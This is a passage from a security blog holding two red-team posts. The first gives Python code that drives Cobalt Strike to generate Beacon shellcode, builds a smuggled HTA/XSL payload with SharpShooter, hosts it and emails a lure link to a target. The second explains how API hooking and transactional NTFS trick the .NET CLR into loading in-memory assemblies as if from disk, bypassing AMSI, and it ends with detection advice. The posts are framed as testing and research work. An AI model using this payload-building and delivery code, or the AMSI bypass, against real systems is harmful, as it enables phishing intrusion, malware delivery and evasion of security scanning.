<div>We can see that this requires a few different things. It requires us to first generate the x86 shellcode in a raw bin file and pass it as a parameter to the Python script, then after running the Python script, you need to host the output xls file at the provided URL. Once we have all of that configured, we can email in the HTA file and test opening it on the target host internally.</div>
<div><br /></div>
<h3 style="text-align: left;">SharpShooter HTA XLS Step 1 – Generating Shellcode File with Striker</h3>
<div>The first step is to generate the Cobalt Strike x86 raw shellcode bin file. Normally you would go through the GUI to do this, but with Striker, it’s as simple as opening the connection to the team server by instantiating the object, then calling the generateShellcode function and writing the bytes to a file:</div>
<div>
<pre><code class="Python">
# We need to get the x86 shellcode for our CS listener into /tmp/x86payload.bin
with CSConnector( cs_host="127.0.0.1",
cs_user="Fautline",
cs_directory="/Applications/Cobalt Strike 4.0/Cobalt Strike 4.0.app/Contents/Java") as cs:
shellcode = cs.generateShellcode(
listener="Localhost - HTTP",
staged=False,
x64=False
)
shellfile = "/tmp/x86payload.bin"
with open(shellfile, 'wb') as file:
file.write(shellcode)
</code></pre></div>
<div>As you can see, the CSConnector takes a few parameters to establish the connection. First, we need to tell it the IP/Hostname of the team server to connect to and the user we should connect as. Additionally, we need to provide the path to the Cobalt Strike JAR directory. Our libraries depend on the user having a valid version of Cobalt Strike installed and setup.</div>
<div>NOTE: One thing to notice is that the password is not required. The password for the team server is an optional parameter to the init function, but if not provided, the library will check the ~/.aggressor.prop file for the password. If the password can’t be found (it’s a new team server, not saved, or just some other issue), it will prompt you to enter the password for the team server.</div>
<div>Another thing to notice is the usage of ‘with CSConnector(…) as cs’. Using the class in this way helps ensure that the connection to the team server is closed when you are done. If you choose to instantiate the class without the ‘with’ clause, you will need to run the connectTeamserver() and disconnectTeamserver() functions yourself.</div>
<div>Once we are connected into the team server (the CSConnector class handled that for us), we can ask the CSConnector object to generate shellcode for us with the (obviously) generateShellcode function. We need to at least provide it the listener, and can provide it with additional options such as if we wanted the shellcode to be staged or not, and the platform architecture. After we have the bytes, we just write them to a file and have the input necessary for SharpShooter.</div><div><br /></div>
<h3 style="text-align: left;">SharpShooter HTA XLS Step 2 – Executing SharpShooter Scripts</h3>
<div>One way that we can execute SharpShooter itself is to use Python’s subprocess to spawn a separate Python process and execute the SharpShooter script:</div>
<div>
<pre><code class="Python">
# We need to run sharpshooter to generate the prefix.xsl file, so that we can then host it
prefix = "foo"
xsluri = "http://172.16.179.1/{}.xsl".format(prefix)
template = "sharepoint"
sharpshooter_path = "/Users/Faultline/tools/SharpShooter/"
ss_cmd = "python SharpShooter.py --stageless --dotnetver 2 --payload hta --output {} --rawscfile {} --smuggle --template {} --com xslremote --awlurl {}".format(
prefix, shellfile, template, xsluri)
subprocess.run(ss_cmd.split(), cwd=sharpshooter_path)
</code></pre></div>
<div><br /></div>
<h3 style="text-align: left;">SharpShooter HTA XLS Step 3 – Hosting the Files and Tracking IoCs</h3>
<div>
Once we have generated the payloads (XLS and HTA), we can host them using Striker and Cobalt Strike and track the file hashes using the description field of Cobalt Strike’s Sites Window:</div>
<div>
<pre><code class="Python">
# Then we connect to cobalt strike and host all of the files
# If smuggling is enabled, we don't need to host the hta
stage = 0
stage_0_uri = ""
for filetype in ['html', 'xsl']:
file = "{}/output/{}.{}".format(sharpshooter_path, prefix, filetype)
md5, sha1, sha256 = getHashes(file)
if filetype == 'html':
mime_type='text/html'
else:
mime_type='text/plain'
hosted_uri = cs.hostPlainFile(file_path=file,
uri="/{}.{}".format(prefix, filetype),
mime_type=mime_type,
description="Initial Access - Stage {} ({}) - MD5:{},SHA1:{},SHA256:{}".format(stage, filetype.upper(), md5, sha1, sha256))
print("hosted stage {} at {}".format(stage, hosted_uri))
if stage == 0:
stage_0_uri = hosted_uri
stage += 1
</code></pre></div>
<div><br /></div>
<h3 style="text-align: left;">SharpShooter HTA XLS Step 4 – Emailing The Link</h3>
<div>Lastly, we can email in a link to the HTA so that we can simulate a user clicking on the link and test detections:</div>
<div>
<pre><code class="Python">
email_body = """
<html>
<head>
<title> SharpShooter XLS HTA with Cobalt Strike Test </title>
</head>
<body>
Please find the example <a href="{}"> here </a>
</body></html>
""".format(stage_0_uri)
msg = Create_Message("sender@example.com", "Recipient@example.com", "SharpShooter XLS HTA with Cobalt Strike Test", email_body)
Send_Email(msg, "mx.example.com")
</code></pre></div>
<div>This script all put together will automatically build a SharpShooter payload to execute a Cobalt Strike Beacon and email it into your target so you can quickly and easily test all of the features of SharpShooter against your network.</div><div><br /></div>
<h2 style="text-align: left;">Conclusion</h2>
<div>The Payload Automation libraries were designed to help Red Teamers better interface with Cobalt Strike to generate payloads, analyze artifacts, and track IoCs. Using these libraries can help Red and Purple teams be more accurate and more efficient in their testing and tracking of the attacks that they perform. The libraries were designed to be simple and focused on the functionality that Red Teamers would leverage most often. Although we use these tools regularly, there are bound to be bugs. Please feel free to submit issues on GitHub or reach out to me on twitter <a href="https://twitter.com/binaryfaultline">@BinaryFaultline</a>.</div>BinaryFaultlinehttp://www.blogger.com/profile/15007190596204655011noreply@blogger.com0tag:blogger.com,1999:blog-8176792450471116129.post-37031217265766208512021-05-04T10:18:00.000-05:002021-05-04T10:18:41.818-05:00Assembly.Lie – Using Transactional NTFS and API Hooking to Trick the CLR into Loading Your Code “From Disk”<p> <b>Introduction:</b></p><p class="MsoNormal">Assembly.Load, a method that has been one of the primary
reasons for the meteoric rise in offensive tooling written in C# over the past
few years. Its most commonly used
overload in offensive tooling – Assembly.Load(byte[]) allows for memory-only
loading of .Net assembly objects (.exe / .dll) directly from a byte array
representing the object’s contents, effectively granting the ability to
reflectively load and execute a program entirely in memory in just 2-3 lines of code. This has enabled
all sorts of multi-staged payloads, modular program functionality, and fileless
post-exploitation operations. <o:p></o:p></p><p class="MsoNormal">A few months back some tooling I was working on caused me to
take a closer look into the mechanisms behind loading assemblies into the .net
Common Language Runtime (CLR). I found
that while Assembly.Load has several overloads that all correspond to the same
managed method, the unmanaged functions they call vary quite drastically. Through this process, I attempted to
determine if it would be possible to intercept the function calls used by the
CLR to load an assembly from disk, which would allow us to return spoofed data and
trick it into thinking a non-existent assembly was being loaded from an on-disk
location. I believed it to be possible
as at the end of the day, regardless of if an assembly is loaded from an
on-disk file or a byte array directly, the code being executed is simply a
series of bytes that exists in a pre-defined region of memory. <o:p></o:p></p><p class="MsoNormal">Why does this matter? Due to AMSI only scanning assemblies
loaded directly from (what the CLR believes to be) memory, this technique would
serve as another category of AMSI bypass.
Secondly, this function serves as a prototype that can be implemented
for other .net assembly loading methods which provide additional functionality
over the traditional Assembly.Load call, but which historically have not been
used due to their reliance on loading from disk. Finally, inspection of assemblies loaded into
a process via this technique would show that they appear to be backed by a (nonexistent) file
on disk.<o:p></o:p></p><p class="MsoNormal"><b>Mechanics of Assembly.Load</b><o:p></o:p></p><p class="MsoNormal">When the CLR encounters an instruction to load an assembly
from disk, several steps are immediately taken to attempt to locate it,
depending on the overload called and the information provided. The CLR’s most-preferred way of loading an
assembly is to be provided a “full” reference in the form of an AssemblyName
object. This includes data on the target
assembly’s name, version, culture, and public key token (if one exists). In
practice, loading assemblies in this way is unnecessary for most use-cases as a
“partial” reference consisting of just the assembly’s name can be provided
instead. This partial reference means
the CLR does not search the global assembly cache for the target assembly, but
rather will first check to see if it is already loaded in the current AppDomain. If the assembly has not been previously
loaded, the current directory the application is executing from will be
searched, after which a “file not found” exception will be thrown if a matching
file is not located. This process can be
seen below in API Monitor when we execute the following code that looks for a
non-existent file (executing as x64, running from Z:\test):<o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbcMGsg6c6zUB9gggoWVNS5QNAJ9McfNmWCKVPi3BP4K43QBkqVHlWEIbkcCjNgFI0gkyJepSOJoaV618Ky5EWMz1ShCmvwr4DaOMiviTWoCA6boFd4CpRQmTEd7euHR4p1q_af8q1t0k/" style="margin-left: 1em; margin-right: 1em;"><img data-original-height="195" data-original-width="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbcMGsg6c6zUB9gggoWVNS5QNAJ9McfNmWCKVPi3BP4K43QBkqVHlWEIbkcCjNgFI0gkyJepSOJoaV618Ky5EWMz1ShCmvwr4DaOMiviTWoCA6boFd4CpRQmTEd7euHR4p1q_af8q1t0k/s16000/image.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp4BPAotEqKOiaCQE3hjfjP5vM2STFHuJ6z6dnu2aoecyZHBuL0XawtLKVL4KmxMHb95eWlrDh31wStXUegeBBPsy1evtS4y5QRZHNFrHtjwBBkyBShWppAezq9j53p3Jmi95K9tUSMeI/" style="margin-left: 1em; margin-right: 1em;"><img data-original-height="121" data-original-width="674" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp4BPAotEqKOiaCQE3hjfjP5vM2STFHuJ6z6dnu2aoecyZHBuL0XawtLKVL4KmxMHb95eWlrDh31wStXUegeBBPsy1evtS4y5QRZHNFrHtjwBBkyBShWppAezq9j53p3Jmi95K9tUSMeI/s16000/image.png" /></a></div><p class="MsoNormal">As can be seen above, the GetFileAttributes function is used
to attempt to identify either a dll or exe with the provided name, finding none
we get the expected crash:<o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYsyKU1raggkGIeeRD8WbJXv5mSUFccYcgoHEQf4Z-xwUWdVy5fWbSB4cXX_H0jTynLBdSMHNlkSy0ADK2DVLQx_8-lE54Oy6t1z_AJTnlvsgbixwjCn5Zb6308w-MSnVoeW64tjU3TUA/" style="margin-left: 1em; margin-right: 1em;"><img data-original-height="43" data-original-width="649" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYsyKU1raggkGIeeRD8WbJXv5mSUFccYcgoHEQf4Z-xwUWdVy5fWbSB4cXX_H0jTynLBdSMHNlkSy0ADK2DVLQx_8-lE54Oy6t1z_AJTnlvsgbixwjCn5Zb6308w-MSnVoeW64tjU3TUA/s16000/image.png" /></a></div><p class="MsoNormal">Conversely, if a valid file is found, it kicks off a series
of function calls to grab additional information and load the file into
memory. This primary chain of calls to
load an assembly consists of the following:<o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJi-O8fcFI3F1mhIDKedAYiji8WEUE-uG2HivX1oCmUj4a4JDtVm1EEbAdSwZwAHDGxGUpmcunr99hSXKkdeiklEGbhN-mZoxBjP3eJBwPu7T4nRWEbHVvyvNMfkunDnfNJSSB1UR1yQQ/" style="margin-left: 1em; margin-right: 1em;"><img data-original-height="160" data-original-width="624" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJi-O8fcFI3F1mhIDKedAYiji8WEUE-uG2HivX1oCmUj4a4JDtVm1EEbAdSwZwAHDGxGUpmcunr99hSXKkdeiklEGbhN-mZoxBjP3eJBwPu7T4nRWEbHVvyvNMfkunDnfNJSSB1UR1yQQ/s16000/image.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDfZHYxdf7RQyqgDO9soXf2Dv2okqCcoVGaxeRXs1_pPmmGAb5GCegryCpXCdEoRmfYftBlTQYtkOE9GZLrVvy0wUXfa3pQn3rXgQzKmamADqpp-5SnSGXz6b9-xKwNY87c4RPuGGzxeQ/" style="margin-left: 1em; margin-right: 1em;"><img data-original-height="367" data-original-width="632" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDfZHYxdf7RQyqgDO9soXf2Dv2okqCcoVGaxeRXs1_pPmmGAb5GCegryCpXCdEoRmfYftBlTQYtkOE9GZLrVvy0wUXfa3pQn3rXgQzKmamADqpp-5SnSGXz6b9-xKwNY87c4RPuGGzxeQ/s16000/image.png" /></a></div><p class="MsoNormal">In this long chain of function calls, of most interest to us
are the following:<o:p></o:p></p><p class="MsoNormal"></p><ul style="text-align: left;"><li><span style="text-indent: -24px;">GetFileAttributes</span></li><ul><li><span style="text-indent: -24px;"><span style="text-indent: -0.25in;">Responsible for initial identification of a valid file in the execution directory (does this file exist?)</span></span></li></ul></ul><ul style="text-align: left;"><li><span style="text-indent: -24px;">GetFileAttributesEx</span></li><ul><li><span style="text-indent: -24px;">Queries the file now believed to exist, provides a pointer to a WIN32_FILE_ATTRIBUTE_DATA structure that gets populated with data on file size and creation/access/modification times.</span></li></ul></ul><ul style="text-align: left;"><li><span style="text-indent: -24px;">CreateFile</span></li><ul><li><span style="text-indent: -24px;">Returns a handle to the file that has now been validated as existing through the successful completion of the two prior calls. This call has a dwCreationDisposition value of OPEN_EXISTING, meaning the call will fail if the file does not already exist.</span></li></ul></ul><ul style="text-align: left;"><li><span style="text-indent: -24px;">GetFileInformationByHandle</span></li><ul><li><span style="text-indent: -24px;">Uses the handle to the file returned in the prior call. Provides a pointer to a BY_HANDLE_FILE_INFORMATION structure that gets populated with the same data that exists in the WIN32_FILE_ATTRIBUTE_DATA structure created during the initial GetFileAttributesEx call, as well as additional data on volume and file fingerprint. Gets checked against other results returned to ensure the handle is to the correct file.</span></li></ul></ul><ul style="text-align: left;"><li><span style="text-indent: -24px;">(another) GetFileAttributesEx</span></li><ul><li><span style="text-indent: -24px;">Final check to validate no changes have been made to the file that is being loaded.</span></li></ul></ul><ul style="text-align: left;"><li><span style="text-indent: -24px;">CreateFileMapping</span></li><ul><li><span style="text-indent: -24px;">Takes the file handle returned by CreateFile and creates a file mapping with PAGE_READONLY | SEC_IMAGE protections set.</span></li></ul></ul><ul style="text-align: left;"><li><span style="text-indent: -24px;">MapViewOfFileEx</span></li><ul><li><span style="text-indent: -24px;">Creates a view to read the mapped file. Due to the SEC_IMAGE flag being set on the file mapping object, (read-only) access is inherited and as a result no additional access can be set.</span></li></ul></ul><p class="MsoListParagraphCxSpLast"><b>Tricking the CLR (and beating AMSI along the way)</b></p><p class="MsoNormal"><i>Note: this section is somewhat of a wall of text regarding
the specifics on how this works. I’ve
also included a diagram at the bottom that pretty well sums stuff up if that’s
more your speed. </i><o:p></o:p></p><p class="MsoNormal">Outside of the context of API hooking as performed by EDR
vendors and the stubs of code that can be used to unhook them, I didn’t have
much experience with implementing my own hooks in code until earlier this year,
when @FuzzySec dropped Dendrobate (<a href="https://github.com/FuzzySecurity/Dendrobate">https://github.com/FuzzySecurity/Dendrobate</a>). This is a cool project that uses the EasyHook
library to place a hook onto CreateFile, causing calls to that function from
the current process to instead be redirected to an operator-controlled detour
method, from where the call can be sent along or have additional operations
performed on it. If you’re interested in an in-depth explanation on hooking, I
would definitely recommend checking out the official EasyHook documentation
here: <a href="http://easyhook.github.io/documentation.html">http://easyhook.github.io/documentation.html</a>.
<o:p></o:p></p><p class="MsoNormal">After gaining an understanding of the calls being made when
a load command was executed, my thought was to implement what is essentially a
scaled-up version of the code in Dendrobate to hook, modify, and provide faked
responses to the calls in the above loading process. This was necessary as each of the calls builds
off those prior, meaning any interception and modification of responses needs
to start at the beginning of the load process with GetFileAttributes, returning
a spoofed response to tell the CLR that a nonexistent file of our choosing does
indeed exist in the current execution directory. Assuming we are able to hook unmanaged
function calls and thus can intercept / return faked responses, this call is
pretty easy to handle. It doesn’t need us to fill any structs with data, and
only requires that a single dword be returned.
As a result, the code to implement this is straightforward and gives a good
example of what a detour method looks like:<o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_1cxXfb4RM9jnMae7wfUR0V4ANsnV4GMLkJFI0GiLduV16AX37krsM3n6R070woFAvnZvZLNEwSDjpU5kjhkOWGHOJSsKuz0YZda5jkzG3JKmdmGu7RAlhcvVrTysqqR8S7zxB6tC8e4/" style="margin-left: 1em; margin-right: 1em;"><img data-original-height="186" data-original-width="535" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_1cxXfb4RM9jnMae7wfUR0V4ANsnV4GMLkJFI0GiLduV16AX37krsM3n6R070woFAvnZvZLNEwSDjpU5kjhkOWGHOJSsKuz0YZda5jkzG3JKmdmGu7RAlhcvVrTysqqR8S7zxB6tC8e4/s16000/image.png" /></a></div><p class="MsoNormal">In this case, loadedAssemblyName corresponds with the name
of the nonexistent assembly we told Assembly.Load to attempt to identify in the
current execution directory. As calls to this function are intercepted, this
code compares the filename passed in against this initial value. An
unsuccessful match indicates other normal program behavior, and so the call is
simply forwarded along, whereas a successful match indicates that the CLR is
searching for our nonexistent file. We
return a value of 32 (0x20) to this call, indicating that the requested file
exists and is of type FILE_ATTRIBUTE_ARCHIVE.<o:p></o:p></p><p class="MsoNormal">Receiving this response, the CLR immediately calls <a name="_Hlk70752875">GetFileAttributesEx</a> for the same filename passed in the
prior call. Intercepting this as well, the
main task associated with this step of the loading process is populating the
WIN32_FILE_ATTRIBUTE_DATA structure pointed to by lpFileInformation. To successfully return valid data requires
generation of (somewhat) random times in the form of FileTime structures, as
well as knowledge of the size of the assembly we are attempting to load through
this process. Upon populating the pointed-to
structure with data, a simple Boolean true can be returned.<o:p></o:p></p><p class="MsoNormal">Having obtained confirmation that the target file exists and
receiving some preliminary data on its size, the CLR proceeds to attempt to
open it via CreateFile. This is the
point in the chain things started getting a bit interesting for me, as although
there are many types of I/O channels CreateFile can interface with and return a
handle from, the majority are not compatible with CreateFileMapping. Things such as mailslots and pipes seemed
like interesting ways to store bytes in a way that didn’t touch disk, but
always resulted in an invalid handle being returned when a section attempted to
be created using the handle passed back by CreateFile. Early in the development process, I simply
hooked this call and redirected it to open a test file I had in another
directory. This worked as it was a valid
file on disk, but it didn’t really do a whole lot beyond being a neat party
trick that allowed me to make it appear as though I was loading assemblies from
locations they didn’t reside. Further
attempts with creating an empty file that had a dwFlagsAndAttributes value of FILE_ATTRIBUTE_TEMPORARY
set and subsequently writing to it also proved to be unsuccessful, as even with
this flag data appeared to still be immediately written through to disk.<o:p></o:p></p><p class="MsoNormal">The breakthrough on this came when I was talking with my
buddy @anthemtotheego, who had recently released a tool called CredBandit (<a href="https://github.com/anthemtotheego/CredBandit">https://github.com/anthemtotheego/CredBandit</a>)
that utilized transactional NTFS to write an LSASS dump file to memory instead
of disk. He recommended I look into this
mechanism a bit further, as the function returns a valid file handle identical
to one passed by a file backed by disk. At
the time I didn’t know much about transactional NTFS beyond that it was used as
a part of process doppelgänging, but pretty quickly after writing up a PoC to test
it out, it seemed to be exactly what I was looking for. Taking a look at Microsoft’s page on the
subject that has a giant disclaimer at the top did nothing but further
reinforce I was probably on the right track.<o:p></o:p></p><p class="MsoNormal"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC392LDvoh8llGxpiTJnTH1H9ccODGDuvFIiV-_sdVkVAcwWE87HpC6YmrS_yMceuV3Dc-7l4kyDuO6C507SPUXhnB_84YrE9OX-EZqNF5Uan2J8O_f9HTEuAtaDZYa0BbevuKZEodUPc/" style="margin-left: 1em; margin-right: 1em;"><img data-original-height="145" data-original-width="624" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC392LDvoh8llGxpiTJnTH1H9ccODGDuvFIiV-_sdVkVAcwWE87HpC6YmrS_yMceuV3Dc-7l4kyDuO6C507SPUXhnB_84YrE9OX-EZqNF5Uan2J8O_f9HTEuAtaDZYa0BbevuKZEodUPc/s16000/image.png" /></a></div><p></p><p class="MsoNormal">For those that may be in the same boat I was last month on
their level of knowledge around transactional NTFS, here is a quick diagram
explaining how it is being used in the scope of this project:<o:p></o:p></p><p class="MsoNormal"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz-Wj5nSOxKHIaRKEiduRvt45shaLHGrzl9OcaWCy-06gazZsIcSoY39RjugADM-ziX__-5nYAiWcQXqKCvQUkWUHF1aM8UF2MLzSvn1x_ilchX8ZWyYJ_ZlNA4SxtGb4t55B_hhk9Mao/" style="margin-left: 1em; margin-right: 1em;"><img data-original-height="401" data-original-width="954" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz-Wj5nSOxKHIaRKEiduRvt45shaLHGrzl9OcaWCy-06gazZsIcSoY39RjugADM-ziX__-5nYAiWcQXqKCvQUkWUHF1aM8UF2MLzSvn1x_ilchX8ZWyYJ_ZlNA4SxtGb4t55B_hhk9Mao/s16000/image.png" /></a></div><br />Back to the assembly loading process - as we have been intercepting
and providing faked responses to each of the CLR’s outbound queries attempting
to ensure it is opening the correct file, it accepts the valid file handle we
pass back to it from our memory-only transacted file without any issues.<p></p><p class="MsoNormal"><o:p></o:p></p><p class="MsoNormal">With a valid handle to what it believes to be an on-disk
file in the current execution directory, two more queries are performed by the
CLR to ensure that the handle it has points to the file it is expecting to be
opened. GetFileInformationByHandle grabs similar data to the above GetFileAttributesEx
call, the results of which are compared to ensure the open handle is to the
correct file. One final GetFileAttributesEx
call is ran to ensure the loaded file has not been changed since the initial
query. Intercepting these two calls
allows us to return forged data for these as well, populating the pointed-to structures
with the same data originally generated for the first GetFileAttributesEx call,
and finally convincing the CLR that the file it is in the process of loading is
correct and does in fact exist. Things
are pretty much done at this point, a section is created, view is mapped to it,
and the bytes are read out. These calls
don’t need to be intercepted or modified, as the CLR already believes it has
loaded a valid file.<o:p></o:p></p><p class="MsoNormal">Here is a diagram summarizing the entire process:</p><p class="MsoNormal"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvnzSlrNmRFP4VlaSaO5u-Lgnnc9-hq08_iCOC13EJBXZo6-frjjaUw69ApxnEkymKo4zBVuQEgcIrl1ep6F7kdwYhrSlL9QfnO44iZ8cqlHI6Qfeq8CxWVa281n5SR6EhrfOo-a9XPIw/" style="margin-left: 1em; margin-right: 1em;"><img data-original-height="843" data-original-width="1438" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvnzSlrNmRFP4VlaSaO5u-Lgnnc9-hq08_iCOC13EJBXZo6-frjjaUw69ApxnEkymKo4zBVuQEgcIrl1ep6F7kdwYhrSlL9QfnO44iZ8cqlHI6Qfeq8CxWVa281n5SR6EhrfOo-a9XPIw/s16000/image.png" /></a></div><br />So how does this beat AMSI?
Currently, AMSI hooks are limited to Assembly.Load overloads that load
directly from a byte array, so through the process of convincing the CLR that we
are loading from an on-disk location, we can simply sidestep AMSI entirely. This means no modifications must be made to process
memory in terms of overwriting the amsi.dll instance loaded into the process,
etc. and allows us to do fun stuff like this:<p></p><p></p><p class="MsoNormal"><o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVgPd_L7u77z8QJibHUq7dgSnfOlCXeNXK_-6Xh8x0zWae3W74tgyTCVD9nmMhRsFembQLVXDV6gey5xjH4JgCSKJK8VZO7sOizh2dI2GQouW9-nozK_1uL9MJYcJVtmyDwRPz51eY2qI/" style="margin-left: 1em; margin-right: 1em;"><img data-original-height="374" data-original-width="601" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVgPd_L7u77z8QJibHUq7dgSnfOlCXeNXK_-6Xh8x0zWae3W74tgyTCVD9nmMhRsFembQLVXDV6gey5xjH4JgCSKJK8VZO7sOizh2dI2GQouW9-nozK_1uL9MJYcJVtmyDwRPz51eY2qI/s16000/image.png" /></a></div><p class="MsoNormal">While also having the assembly we’re loading showing up as
existing on-disk:<o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLK8E1bi_iZPhvQjx9mQ6gLdKsSlquXahM4LtGLRqNTIRs2b36g_qm6b4DME99JpDfEdM9MOLsrYk6HiFtdlsDZscIqAJLIl51k59fKfOfe-Js-nqNhnvK3YYMj3fXliKjlnKPygBft-w/" style="margin-left: 1em; margin-right: 1em;"><img data-original-height="94" data-original-width="615" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLK8E1bi_iZPhvQjx9mQ6gLdKsSlquXahM4LtGLRqNTIRs2b36g_qm6b4DME99JpDfEdM9MOLsrYk6HiFtdlsDZscIqAJLIl51k59fKfOfe-Js-nqNhnvK3YYMj3fXliKjlnKPygBft-w/s16000/image.png" /></a></div><p class="MsoNormal"><b>What’s in a Name?</b></p><p class="MsoNormal">At this point in development, I had a working PoC that
successfully loaded files from memory that appeared to be backed by a file
on-disk and bypassed AMSI. Ready to
release, right? Not so much. Up until this point, all my testing had used a static
assembly I had converted into a byte array, and it just so happened the filename
I was attempting to locate with Assembly.Load shared the same name as this
assembly. Basically, I had converted test.exe to a byte array and was loading that
through the above process, but when kicking off this whole chain I was also
telling the CLR to look for a nonexistent test.exe file on-disk. When modifying my code to be more dynamic (instead
of only being able to just load a single test array from memory), I quickly
found I was running into errors that looked like this:<o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1lZmYPgiQ7Hjeeitxkx61fvJ4L0IcgI3YLpL4mySdGQk-fAzBlEQ6JsUjIOEi2EZUnT_FKTWS6B6FlY4CDWorEJ2VCNYAfAoUniKb-i4O6oeNcuNikG7Iyxpi81akhBVHvUlRDnHm5uE/" style="margin-left: 1em; margin-right: 1em;"><img data-original-height="140" data-original-width="366" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1lZmYPgiQ7Hjeeitxkx61fvJ4L0IcgI3YLpL4mySdGQk-fAzBlEQ6JsUjIOEi2EZUnT_FKTWS6B6FlY4CDWorEJ2VCNYAfAoUniKb-i4O6oeNcuNikG7Iyxpi81akhBVHvUlRDnHm5uE/s16000/image.png" /></a></div><p class="MsoNormal">Through some testing I found that the CLR performs an
additional check during the loading process - it will compare the name
originally supplied in the Assembly.Load(filename) call against the filename
contained within the metadata of the loaded file. If the two don’t match it will throw an error,
and your assembly will not be successfully loaded. I figured there were two ways around this,
the easy (but lazy) way of just making an operator provide the name of their
assembly as an argument, and the better but more difficult way that
actually required me to do some work. At
the end of the day, I ended up implementing both to give the operator more
flexibility. An assembly name (including
extension) can optionally be supplied to the load call, alternatively the PE
header will be walked to automatically pull the name the assembly was compiled
with (this is the value the CLR checks, not the current display name). The result of the walking process looks like
this:<o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMVnqsqd0yAXt7EM2l7EECl9L6B7-AERhTGoz7gpLwy_Hm2rOD6iBRk-0_46Z3pNmkWmyUmCrdPGrxud2f5eYro5thqnQTB4XFM23VmEVSnitCRnndJ0dMU0OrnQutxTC9cb-ybgdWuMM/" style="margin-left: 1em; margin-right: 1em;"><img data-original-height="173" data-original-width="442" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMVnqsqd0yAXt7EM2l7EECl9L6B7-AERhTGoz7gpLwy_Hm2rOD6iBRk-0_46Z3pNmkWmyUmCrdPGrxud2f5eYro5thqnQTB4XFM23VmEVSnitCRnndJ0dMU0OrnQutxTC9cb-ybgdWuMM/s16000/image.png" /></a></div><p class="MsoNormal"><b>Putting the Pieces Together</b></p><p class="MsoNormal">With this last hurdle overcome, everything was working
pretty much as intended. I ended up
publishing the tool as a library to make it more portable for use in other projects
and have put together a super basic PE that leverages it so people can get an
idea of how the functionality works.
This PE is based on another of my buddy @anthemtotheego’s tools,
SharpCradle, and takes a small bit of its functionality (web loading only). As currently built, this library and the
SharperCradle PoC PE are compatible with execute-assembly, Donut, etc. but are
not meant to be “op-ready” tools, rather they are meant to serve as templates
from which parts can be grabbed or further modifications can be made. If you’re
interested in checking out the code, both the library and PoC PE are available
here: <a href="https://github.com/G0ldenGunSec/SharpTransactedLoad">https://github.com/G0ldenGunSec/SharpTransactedLoad</a><o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCTEVXzEApJTthzt_XMe5bXpSVQVERAkhx9nVYWuOwmap5OrPsojRBj58sq6gpc7yTJR08qOEQQK_IoLOo79rk9UU_wz5szTLbILV76VQbqTm3zWlg8pSagiCkjJ1N_QdydN512EB2bds/" style="margin-left: 1em; margin-right: 1em;"><img data-original-height="374" data-original-width="466" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCTEVXzEApJTthzt_XMe5bXpSVQVERAkhx9nVYWuOwmap5OrPsojRBj58sq6gpc7yTJR08qOEQQK_IoLOo79rk9UU_wz5szTLbILV76VQbqTm3zWlg8pSagiCkjJ1N_QdydN512EB2bds/s16000/image.png" /></a></div><p class="MsoNormal"><b>Beyond Assembly.Load<o:p></o:p></b></p><p class="MsoNormal">Assembly.Load is just one of several different methods that
exists to load .net assemblies into memory.
These other methods typically provide some type of additional
functionality, with their main caveat being that almost all do not support
direct loading from byte arrays as the aforementioned Assembly.Load does. As a result, any sort of code to be executed
first must be dropped to disk. With the
new capabilities STL brings to the table, some of these other methods may now
come into play for offensive operations.
There are definitely some use-cases for the library as it exists today,
but some of the more interesting applications have not been covered within the
scope of this post. <b><o:p></o:p></b></p><p class="MsoNormal"><b>Detections <o:p></o:p></b></p><p class="MsoNormal">Regardless of the call being hooked / method for kicking the
process off, this technique still relies on transactional NTFS. The CreateTransaction and
CreateFileTransacted functions seem to have very few legitimate uses and would
be the first things I recommend implementing additional detections for in an
environment. Additionally, as the files supposedly backing the loaded
assemblies do not in fact exist, a scan cross-referencing loaded images against
